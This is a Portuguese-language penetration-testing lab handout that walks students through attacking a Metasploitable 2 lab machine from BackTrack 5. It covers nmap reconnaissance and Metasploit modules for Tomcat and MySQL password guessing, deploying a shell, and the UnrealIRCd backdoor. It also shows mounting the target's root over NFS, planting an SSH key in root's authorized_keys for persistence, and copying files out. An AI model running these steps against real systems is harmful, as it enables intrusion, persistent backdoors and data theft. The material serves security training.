Escolar Documentos
Profissional Documentos
Cultura Documentos
Pratica 6
Pratica 6
I. Escopo
As estaes responsveis pelos ataques utilizam a distribuio GNU/Linux Backtrack 5 R3, uma distribuio GNU/Linux baseada no Ubuntu 10.04 LTS. Esta verso foi lanada em 13/Ago/20121, no momento a mais recente deste pacote de ferramentas. O sistema alvo utilizado neste exerccio o Metasploitable 2. Uma distribuio GNU/Linux desenvolvida especialmente para servir de alvo na execuo de testes de segurana. Ela utiliza uma distribuio Ubuntu com diversas aplicaes desatualizadas e mal configuradas. A verso utilizada foi lanada em 21/05/20122. Virtual Box O host com a instalao do Backtrack ser executado como uma mquina virtual utilizando o Virtualbox. Abra a janela do Virtualbox, mas antes de executar o Backtrack clique com o boto direito sobre a mquina virtual e clique em Configuraes:
Na janela de Configuraes, v at a opo Rede e certifique-se de que o Adaptador 1 com a opo Conectado a: Placa em modo Bridge. Em avanado, clique algumas vezes no boto ao lado do campo Endereo MAC, garantindo dessa forma que todos possuam endereos MAC diferentes uns dos outros na mesma rede.
Dica
Sempre que aparecer x.x.x.x, substitua automaticamente pelo IP do host que ser alvo do ataque. Quando x.x.x.y substitua pelo IP do host atacante (Backtrack). A representao do endereo x.x.x.0/24 identifica a utilizao do IP da rede.
1 2
http://www.backtrack-linux.org/ http://sourceforge.net/projects/metasploitable/
No momento de executar algum comando, verifique se est no local correto. Quando o comando indicar o smbolo #, significa que voc deve estar na linha de comando do Linux. Caso o comando indique outro prefixo, como por exemplo, mysql > ou msf >, voc deve estar na linha de comando desse aplicat ivo.
64 bytes from x.x.x.x: icmp_seq=2 ttl=64 time=1.38 ms 64 bytes from x.x.x.x: icmp_seq=3 ttl=64 time=1.18 ms --- x.x.x.x ping statistics --3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 1.183/24.165/69.929/32.360 ms
fping Quando no se conhece o endereo IP do alvo cuja disponibilidade deve ser testada, preciso utilizar ferramentas capazes de gerar uma lista de endereos para o envio do ICMP ECHO REQUEST. O fping faz isso atravs do parmetro '-g', no exemplo abaixo ser utilizado tambm o parmetro '-c 1' para enviar uma nica solicitao para cada host da lista. Os comandos abaixo geram exatamente a mesma lista, o primeiro utiliza o endereo de sub-rede e o segundo utiliza um endereo inicial e final para a gerao da lista. Escolha um e execute:
# fping -c 1 -g x.x.x.0/24 (IP da rede alvo) # fping -c 1 -g x.x.x.1 x.x.x.254 (IP inicial e final da rede)
Para cada host cuja resposta no for obtida apresentada cada uma das linhas, conforme segue:
ICMP Host Unreachable from x.x.x.x for ICMP Echo sent to ------------------------------------x.x.x.y : xmt/rcv/%loss = 1/0/100% x.x.x.y
Para cada host ativo, e respondendo a requisies, so geradas linhas como as que seguem:
x.x.x.x : [0], 84 bytes, 5.80 ms (5.80 avg, 0% loss) ------------------------------------------------------x.x.x.x : xmt/rcv/%loss = 1/1/0%, min/avg/max = 5.80/5.80/5.80
Analisando as linhas acima seria possvel afirmar que o host x.x.x.y no est ativo e o host x.x.x.x est.
O nmap tambm possibilita identificar os hosts disponveis em uma rede utilize o comando abaixo:
# nmap -sP x.x.x.0/24
O parmetro '-sP' solicita um Ping Scan, e retorna a lista de hosts ativos na rede especificada e ainda identifica o endereo fsico da placa de rede (MAC Address). Compare a quantidade de hosts retornados
pelo comando fping e pelo nmap. O nmap localizou mais por utilizar o protocolo TCP, enquanto o fping utiliza o ICMP, protocolo bloqueado em diversos host para evitar ataques como o ping da morte. A forma mais simples de execuo da ferramenta nmap para mapear os servios em execuo em um host :
# nmap x.x.x.x (IP do host alvo)
Pela utilizao padro do nmap, a ferramenta testa cada porta apenas para verificar os servios que esto em execuo e monitorando cada uma das portas, porm sem completar a conexo. como telefonar, esperar que atendam e desligar sem saber se quem atendeu foi uma pessoa ou uma secretria eletrnica. Portanto, o nome dos servios sugeridos por ele so apenas suposies de acordo com o nmero da porta. Com o parmetro abaixo, o nmap tenta capturar o nome do servio que realmente est em execuo nas portas do host alvo e suas respectivas verses:
# nmap -sV x.x.x.x (IP do host alvo)
Host is up (0.0059s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open shell? 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open ingreslock? 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc Unreal ircd 8009/tcp open ajp13? 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
O resultado deste comando mais demorado pelo fato do nmap realizar uma conexo em cada uma das portas. Agora, com os nomes dos softwares em execuo e suas respectivas verses, o conhecimento sobre o alvo aumenta. O nmap tambm pode tentar detectar o sistema operacional em execuo no host alvo. Execute o comando abaixo e analise o resultado:
# nmap -O x.x.x.x (IP do host alvo)
Na sada desse comando, os servios em execuo so repetidos e ao final apresentado o resultado do provvel sistema operacional do alvo:
Nmap scan report for x.x.x.x Host is up (0.0013s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet ... 6667/tcp open irc
8009/tcp open ajp13 8180/tcp open unknown MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9 - 2.6.31 Network Distance: 1 hop
O comando acima retorna que o sistema utilizado um Linux com kernel entre as verses 2.6.13 e 2.6.31. O Metasploitable 2 utiliza, mais precisamente, a verso 2.6.24 do kernel Linux, portanto o resultado est dentro da expectativa. Para um resultado ainda mais completo, teste o comando:
# nmap -v -A x.x.x.x (IP do host alvo)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Metasploitable2 - Linux 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 39334/udp mountd | 100005 1,2,3 55482/tcp mountd | 100021 1,3,4 39102/udp nlockmgr | 100021 1,3,4 59488/tcp nlockmgr | 100024 1 37315/udp status |_ 100024 1 44437/tcp status 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell? 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open ingreslock? 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 | mysql-info: Protocol: 10 | Version: 5.0.51a-3ubuntu5 | Thread ID: 10 | Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection | Status: Autocommit |_Salt: ABf[xg{Tsd|bWmA86GCX 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ Unknown security type (33554432) 6000/tcp open X11 (access denied) 6667/tcp open irc Unreal ircd | irc-info: Server: irc.Metasploitable.LAN | Version: Unreal3.2.8.1. irc.Metasploitable.LAN | Lservers/Lusers: 0/1 | Uptime: 0 days, 1:50:36 | Source host: 80911CEB.D3975B40.7B559A54.IP |_Source ident: OK nmap
8009/tcp open ajp13? 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 ... MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9 - 2.6.31 Uptime guess: 0.076 days (since Sun Oct 21 17:00:22 2012) Network Distance: 1 hop ... Host script results: | nbstat: | NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> | Names | METASPLOITABLE<00> Flags: <unique><active> | METASPLOITABLE<03> Flags: <unique><active> | METASPLOITABLE<20> Flags: <unique><active> | \x01\x02__MSBROWSE__\x02<01> Flags: <group><active> | WORKGROUP<00> Flags: <group><active> | WORKGROUP<1d> Flags: <unique><active> |_ WORKGROUP<1e> Flags: <group><active> | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP |_ System time: 2012-10-21 18:46:51 UTC-4 TRACEROUTE HOP RTT ADDRESS 1 4.44 ms 10.0.0.10 ...
Este resultado ainda mais demorado, porm com ele foi possvel obter informaes sobre verses de softwares no identificados anteriormente e detalhes sobre servios especficos, como FTP, SMB entre outros. Com isso torna-se vivel a explorao de falhas especficas das verses instaladas. Com este ltimo comando foi possvel identificar que o FTP aceita conexes annimas, que a verso do Unreal ircd a 3.2.8.1. Incluindo a identificao do sistema operacional e a possvel verso do Kernel Linux.
Com este resultado possvel descobrir que esta verso do Unreal IRC possui uma Backdoor, e seu nvel de explorao categorizado como 'Excelente'.
IV. Explorao
Metasploit Metasploit uma plataforma que fornece a infraestrutura para automatizar tarefas. Possui diversos mdulos complementares e pode ser utilizado de diversas formas para auxiliar em um teste de invaso. (Kennedy et al. 2011) O Metasploit possui mais de uma opo de interface, utilizaremos o MSFConsole por ser o mais simples e verstil do framework (Kennedy et al. 2011), oferecendo diversos recursos e ferramentas. Com ela possvel executar exploits, carregar mdulos auxiliares, efetuar varredura, enumerao e rodar exploits em massa contra alvos especficos ou redes inteiras.
Primeiro acesso
Antes de utilizar o metasploit recomendado atualizar seu banco de dados com o comando abaixo:
# msfupdate
Password guessing
Tomcat O servidor Apache Tomcat um servidor web Java. Sua execuo foi identificada pela linha abaixo, gerada pelo nmap:
8180/tcp open 1.1 http Apache Tomcat/Coyote JSP engine
Dentro do console do metasploit possvel utilizar o comando search para identificar os mdulos disponveis:
msf > search tomcat
... ...
Cada mdulo possui parmetros necessrios sua execuo, com o comando abaixo possvel obter uma lista deles:
msf auxiliary(tomcat_mgr_login) > show options
Pode deix-los como esto, no momento sero configurados apenas os parmetros abaixo. Para cada parmetro que deve ser configurado dever ser utilizado o comando set:
msf auxiliary(tomcat_mgr_login) > set RHOSTS x.x.x.x (IP alvo) msf auxiliary(tomcat_mgr_login) > set RPORT 8180 (Porta do Tomcat)
Execute novamente o comando show options e verifique se os parmetros foram corretamente preenchidos. Por fim utilizado o comando exploit que executa o mdulo contra o alvo especificado acima:
msf auxiliary(tomcat_mgr_login) > exploit
Este mdulo executa um ataque por palavras de dicionrio, utilizando os arquivos indicados nas variveis indicadas acima. Neste ataque uma das combinaes utilizadas poder ser aceita pelo servidor:
... [*] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - Trying username:'root' with password:'root' [-] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - /manager/html [ApacheCoyote/1.1] [Tomcat Application Manager] failed to login as 'root' [*] 192.168.1.100:8180 TOMCAT_MGR - [16/56] - Trying username:'tomcat' with password:'tomcat' [+] http://192.168.1.100:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat' [*] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - Trying username:'both' with password:'both' [-] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - /manager/html [ApacheCoyote/1.1] [Tomcat Application Manager] failed to login as 'both' ...
A linha em destaque informa um login e senha aceitos, dessa forma outros ataques podem ser perpetrados:
msf msf msf msf msf > use exploit/multi/http/tomcat_mgr_deploy exploit(tomcat_mgr_deploy) > set RHOST x.x.x.x exploit(tomcat_mgr_deploy) > set USERNAME tomcat exploit(tomcat_mgr_deploy) > set PASSWORD tomcat exploit(tomcat_mgr_deploy) > set RPORT 8180
Neste mdulo preciso utilizar o parmetro PAYLOAD, para obter uma lista de payloads compatveis com o mdulo em questo utiliza-se o comando 10
Conforme Kennedy e outros (2011), payload identifica o cdigo que o mdulo deve executar e que deve ser entregue ao alvo. No caso ser utilizado um prompt de comando feito em java e como o Tomcat um servidor Java, o prompt ser executado:
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp msf exploit(tomcat_mgr_deploy) > exploit
O comando acima fornecer um prompt de comando para o usurio tomcat que poder executar programas e abrir arquivos aos quais ele possua acesso. MySQL um dos Sistemas Gerenciadores de Banco de Dados (SGBD) mais populares do mundo. Possui uma verso distribuda como Software Livre e uma verso comercial. O atual responsvel pelo seu desenvolvimento a Oracle. Acesse o msfconsole e digite o comando abaixo:
msf > search mysql
So mostrados todos os mdulos com a palavra mysql em seu nome, ou seja, os mdulos que trabalham com esse banco de dados. Neste momento o mdulo utilizado ser o seguinte:
msf > use auxiliary/scanner/mysql/mysql_login
possvel listar os parmetros novamente para verificar se esto preenchidos (show options). E ento, execute o mdulo:
msf > exploit
O mdulo tentar se conectar ao banco de dados MySQL do host x.x.x.x utilizando o usurio root, primeiro com a senha em branco, em seguida com cada uma das palavras do arquivo unix_passwords.txt como senha. possvel ainda configurar o parmetro USER_FILE com o arquivo abaixo, com isso todas as linhas do arquivo sero testadas como login. um teste demorado, porm pode ser a melhor maneira de descobrir um login e senha vlidos: /opt/metasploit/msf3/data/wordlists/unix_users.txt Agora abra outra janela de terminal e tente se conectar ao banco de dados utilizando o usurio root e a senha descoberta:
(IP alvo) # mysql -h x.x.x.x -u root -psenha
Alguns comandos teis para obter informaes de um banco MySQL Server. Liste os databases existentes:
mysql> show databases;
11
Agora liste os registros de uma das tabelas salvando o resultado no arquivo indicado:
mysql> select * from credit_cards -> into outfile '/tmp/arquivo_[seunome].txt';
Um arquivo gerado com o contedo da tabela, porm este arquivo est no host alvo. Ainda precisaremos copi-lo para o computador local.
Acesso ao prompt
Unreal IRC Com o comando a seguir, possvel buscar os mdulos com os exploits do Unreal IRC:
msf > search unreal irc
O mdulo encontrado :
exploit/unix/irc/unreal_ircd_3281_backdoor
Utilize o mdulo:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
Explorar:
msf exploit(unreal_ircd_3281_backdoor) > exploit
Resultado:
[*] Started reverse double handler [*] Connected to x.x.x.x:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection...
12
[*] Command: echo arEDLp8ML4sCA5T6; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "arEDLp8ML4sCA5T6\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (x.x.x.x:4444 -> x.x.x.y:57897) at 2012-10-21 20:23:27
Acesso ao prompt de comando com permisses de administrador (no Linux, usurio root).
Pastas compartilhadas
NFS Uma das linhas do resultado do nmap indica que a porta 2049 est sendo utilizada.
2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)
Esta porta se trata do servio de compartilhamento de arquivo NFS. Com o comando abaixo possvel verificar quais pastas esto sendo compartilhadas pelo protocolo:
# showmount -e x.x.x.x (IP do host alvo) Export list for x.x.x.x: / *
Com essa informao em mos, possvel montar a pasta raiz do servidor em um ponto da mquina local:
# mkdir /tmp/mnt # mount -t nfs x.x.x.x:/ /tmp/mnt -o nolock
Com esta pasta compartilhada possvel copiar arquivos entre o computador invasor e o computador da vtima. Acesse a pasta tmp do host alvo:
# cd /tmp/mnt/tmp
Manuteno do acesso
SSH Primeiramente, tente conectar-se ao servidor da vtima por SSH:
# ssh root@x.x.x.x
O servidor pedir a senha do usurio root, como no temos, no conseguiremos logar na mquina remota. Para que o login SSH funcione, gere uma chave SSH:
# ssh-keygen
Esta chave identifica o computador que voc est utilizando. Adicione essa chave gerada como uma chave de confiana no servidor remoto, utilizando a pasta compartilhada que foi montada anteriormente:
# cat /root/.ssh/id_rsa.pub >> /tmp/mnt/root/.ssh/authorized_keys
13
Dessa vez a conexo torna-se possvel devido relao de confiana criada ao copiar a chave do host invasor para o host alvo. Com isso j temos uma backdoor sempre que precisar entrar no servidor remoto.
Copiando arquivos
De dentro do host invasor Copie um arquivo do host alvo para o host invasor utilizando a pasta compartilhada montada (/tmp/mnt):
cp [origem] [destino] # cp /tmp/mnt/tmp/arquivo.txt /root
De dentro do host alvo Agora vamos copiar um arquivo para o host invasor, estando dentro do host alvo. Para acessar o host Backtrack via SSH pela primeira vez, execute no Backtrack o comando:
# sshd-generate # restart ssh
A partir de agora o servidor SSH est habilitado no Bracktrack, podendo ser acessado para copiar arquivos com o comando abaixo:
scp /pasta/arquivo login@x.x.x.y:/pasta # scp /home/user/[arquivo] root@x.x.x.y:/root
Treino Acesse a pasta /home/user do host alvo e copie o arquivo .pdf e .txt para /root do Backtrack.
Referncias
WILHELM, Thomas. Professional Penetration Testing: creating and operating a formal hacking lab. Burlington, Massachusetts: Syngress. 2010. Wiki Backtrack Linux. Getting started with OpenVas. 1 June 2011, at 23:25. <Acesso em: 09/03/2012>. Disponvel em: http://www.backtrack-linux.org/wiki/index.php/OpenVas ALI, Shakeel & HERIYANTO, Tedi. BackTrack 4: Assuring Security by Penetration Testing. Packt Publishing. Packt Publishing: Birmingham, UK. 2011.
14
KENNEDY, David; OGORMAN, Jim; KEARNS, Devon; e AHARONI, Mati. Metasploit: The Penetration Testers Guide. No Starch Press. San Francisco, CA. 2011.
15